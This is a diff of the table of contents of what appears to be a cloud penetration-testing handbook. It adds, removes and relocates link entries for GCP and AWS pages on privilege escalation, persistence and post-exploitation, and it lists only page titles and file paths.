- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -57,7 +55,6 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -87,7 +84,6 @@
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
@@ -102,6 +98,7 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -110,7 +107,6 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
@@ -125,7 +121,6 @@
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -134,7 +129,6 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -144,7 +138,6 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -192,7 +185,6 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -224,139 +216,109 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
|
||||
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
|
||||
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
|
||||
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
|
||||
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
|
||||
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
|
||||
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
|
||||
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
|
||||
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
|
||||
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
|
||||
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
|
||||
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
|
||||
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
|
||||
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
|
||||
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
|
||||
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
|
||||
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
|
||||
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
|
||||
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
|
||||
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
|
||||
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
|
||||
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
|
||||
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
|
||||
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
|
||||
- [AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
|
||||
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
|
||||
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
|
||||
- [AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
|
||||
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
|
||||
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
|
||||
- [AWS – Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
|
||||
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
|
||||
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
|
||||
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
|
||||
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
|
||||
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
|
||||
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
|
||||
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
|
||||
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
|
||||
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
|
||||
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
|
||||
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
|
||||
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
|
||||
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
|
||||
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
|
||||
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
|
||||
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
|
||||
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
|
||||
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
|
||||
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
|
||||
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
|
||||
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
|
||||
- [AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
- [AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
|
||||
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
|
||||
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
|
||||
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
|
||||
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
|
||||
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
|
||||
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
|
||||
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
|
||||
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
|
||||
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
|
||||
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
|
||||
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
|
||||
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
|
||||
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
|
||||
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
